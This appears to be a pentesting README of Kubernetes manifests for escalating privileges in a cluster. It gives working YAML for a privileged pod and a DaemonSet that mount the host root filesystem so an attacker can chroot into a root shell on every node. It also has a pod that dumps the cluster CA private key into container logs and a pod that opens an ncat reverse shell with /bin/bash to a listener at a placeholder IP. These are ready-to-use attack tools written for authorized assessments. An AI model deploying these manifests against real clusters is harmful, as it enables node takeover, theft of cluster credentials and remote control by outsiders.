These are Kubernetes manifests that could be useful on security assessments, or pentests.
N.B. for pentesters, make sure you have delete rights to the objects you create and make sure to clean up when you're done!
kubectl create -f [MANIFEST.YAML]creates object contained in a file called [MANIFEST.YAML]kubectl delete -f [MANIFEST.YAML]deletes object contained in a file called [MANIFEST.YAML]
if you want to create the objects in a specific namespace that isn't your current active one add the following to your manifest under metadata
namespace: [NAMESPACENAME]This manifest will create a privileged pod on a node in the cluster. Once it's running kubectl exec -it noderootpod chroot /host should give you a root shell on the node.
This won't work if :-
- You don't have right to create pods in the namespace. You'll also need rights to pod/exec in order to get the shell in the pod afterwards.
- The node can't pull images from Docker Hub
- There's Pod Security Admission, Validating Admission Policy (or equivalent) blocking the creation of privileged pods
You can also do this with kubectl debug node as a built-in feature of Kubernetes, in relatively modern clusters.
apiVersion: v1
kind: Pod
metadata:
name: noderootpod
labels:
spec:
tolerations:
- key: node-role.kubernetes.io/control-plane
effect: NoSchedule
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: noderootpod
image: busybox
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /This manifest does the same thing as the pod one, except it creates a pod on every cluster node (including control plane nodes in un-managed clusters). Once it's running, get a list of pods in the daemonset with kubectl get daemonset noderootdaemon then use kubectl exec (as above) to execute the chroot /host command in one of the pods
This won't work if :-
- You don't have right to create daemonsets in the namespace. You'll also need rights to pod/exec to get the shell afterwards.
- The node can't pull images from Docker Hub
- There's PodSecurityPolicies (or equivalent) blocking the creation of privileged pods by the replicaset controller in that namespace.
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: noderootdaemon
labels:
spec:
selector:
matchLabels:
name: noderootdaemon
template:
metadata:
labels:
name: noderootdaemon
spec:
tolerations:
- key: node-role.kubernetes.io/control-plane
effect: NoSchedule
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: noderootpod
image: busybox
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /In a scenario where you have create pods and access to pod logs (a right commonly given for diagnostics) but don't have pod/exec, it can still be possible to use your rights to escalate access to a cluster, by creating a pod which cat's a file to STDOUT (as this will be logged in the container logs)
The manifest below is an example of this. It would work on a kubeadm cluster, when deployed to a control plane node. To adapt to other scenarios, just change the volume mount and file in the command parameter
apiVersion: v1
kind: Pod
metadata:
name: keydumper-pod
labels:
app: keydumper
spec:
tolerations:
- key: node-role.kubernetes.io/control-plane
effect: NoSchedule
containers:
- name: keydumper-pod
image: busybox
volumeMounts:
- mountPath: /pki
name: keyvolume
command: ['cat', '/pki/ca.key']
volumes:
- name: keyvolume
hostPath:
path: /etc/kubernetes/pki
type: DirectoryFor setups where you only have create pod, but don't have access to pod/exec or pod logs, it's often possible to setup a reverse shell. First setup an ncat listener with something like
ncat -l -p 8989Then use the manifest below. Replace [IP] with the IP address of the host with the ncat listener.
apiVersion: v1
kind: Pod
metadata:
name: ncat-reverse-shell-pod
spec:
tolerations:
- key: node-role.kubernetes.io/control-plane
effect: NoSchedule
containers:
- name: ncat-reverse-shell
image: raesene/ncat
volumeMounts:
- mountPath: /host
name: hostvolume
args: ['[IP]', '8989', '-e', '/bin/bash']
volumes:
- name: hostvolume
hostPath:
path: /
type: Directory